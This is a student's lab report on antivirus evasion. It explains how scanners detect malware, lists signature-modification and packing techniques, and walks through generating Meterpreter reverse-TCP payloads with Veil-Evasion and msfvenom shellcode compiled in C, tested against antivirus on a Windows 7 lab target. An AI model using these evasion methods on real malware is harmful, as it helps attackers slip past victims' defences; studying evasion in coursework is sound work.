20145332盧鑫 免殺原理與實踐

20145332盧鑫發表於2017-03-22

20145332盧鑫 免殺原理與實踐

基礎問題回答

(1)殺軟是如何檢測出惡意程式碼的?
答:①為病毒的特徵設定一個閾值,掃描器分析檔案時,當檔案的總權值超出了設定值,就將其看作是惡意程式碼
②利用病毒的特有行為特徵來監測病毒
③計算保留特徵碼,在遇到可以操作時進行比較,根據比較結果作出判斷

(2)免殺是做什麼?
答:是為了不讓病毒被識別出來,通過鑽防毒軟體漏洞或者將病毒偽裝成正常程式的辦法來逃避防毒軟體的查殺。

(3)免殺的基本方法有哪些?
答:特徵碼修改方法:①直接修改特徵碼的十六進位制法 :把特徵碼所對應的十六進位制改成數字差1或差不多的十六進位制.
適用範圍:一定要精確定位特徵碼所對應的十六進位制,修改後一定要測試一下能否正常使用.
②修改字串大小寫法 :把特徵碼所對應的內容是字串的,只要把大小字互換一下就可以了.
適用範圍:特徵碼所對應的內容必需是字串,否則不能成功.
③等價替換法 :把特徵碼所對應的彙編指令命令中替換成功能類擬的指令.
適用範圍:特徵碼中必需有可以替換的彙編指令.比如JN,JNE 換成JMP等.
④指令順序調換法 :把具有特徵碼的程式碼順序互換一下.
適用範圍:具有一定的侷限性,程式碼互換後要不能影響程式的正常執行
⑤通用跳轉法 :把特徵碼移到零區域(指程式碼的空隙處),然後一個JMP又跳回來執行.
適用範圍:沒有什麼條件,是通用的改法。
檔案免殺方法:①加冷門殼
②加花指令
③改程式入口點
④改木馬檔案特徵碼的5種常用方法
⑤還有其它的幾種免殺修改技巧

Msfvenom生成可執行檔案

 上個實驗做出的病毒檢測結果如圖(因為只有學號識別不了,所以將名字改成了test):

20145332盧鑫 免殺原理與實踐

20145332盧鑫 免殺原理與實踐

測試結果就是被大多數軟體都查出來了

Veil-Evasion生成可執行檔案

老師的kali裡有這個軟體,可以直接使用來生成可執行軟體:
指令:use python/meterpreter/rev_tcp
set LHOST 127.0.0.1
generate
door
1
成功介面:
20145332盧鑫 免殺原理與實踐

20145332盧鑫 免殺原理與實踐

(我忘記了檢測的時候有5332的都會沒法檢測。。。所以在檢測的時候將5332door這歌名字改成了door)
檢測結果:
20145332盧鑫 免殺原理與實踐

比原來已經好很多了,但是還是能被查出來。。。

C語言呼叫shellcode

生成shellcode陣列:

20145332盧鑫 免殺原理與實踐

在虛擬機器建立一個shellcode_5332.c檔案,將生成的陣列複製並加入主函式,再將該程式碼轉化為可執行檔案:
20145332盧鑫 免殺原理與實踐

使用網頁將其檢測一下:
20145332盧鑫 免殺原理與實踐

雖然少但還是被檢測出來了。。。。

再使用VS軟體寫出C語言程式碼得到shellcode_5332,執行得到可執行檔案shellcode_5332.exe:

20145332盧鑫 免殺原理與實踐

20145332盧鑫 免殺原理與實踐

20145332盧鑫 免殺原理與實踐

還是被檢測出來了。。。。。

靶機:win7 防毒軟體:360安全衛士

使用shellcode.exe將Kali與靶機互聯,成功:

20145332盧鑫 免殺原理與實踐

使用360掃描:

20145332盧鑫 免殺原理與實踐

連線靶機:

實驗體會

這次實驗雖然最後被發現的數量越來越少,但是還是會被發現,無法做到完全隱藏,但是也間接地說明了防毒軟體並沒有這麼安全。。。

離實戰還缺什麼技術或步驟

我們現在做的實驗都是使用了不是很多的軟體來檢測,而且實現的功能不是特別多,現在防毒軟體庫也在日益更新,能檢測出的病毒越來越多,而且現在只是跟著步驟一步一步坐下去,很多深層的知識並不瞭解,還需要了解更多的原理

相關文章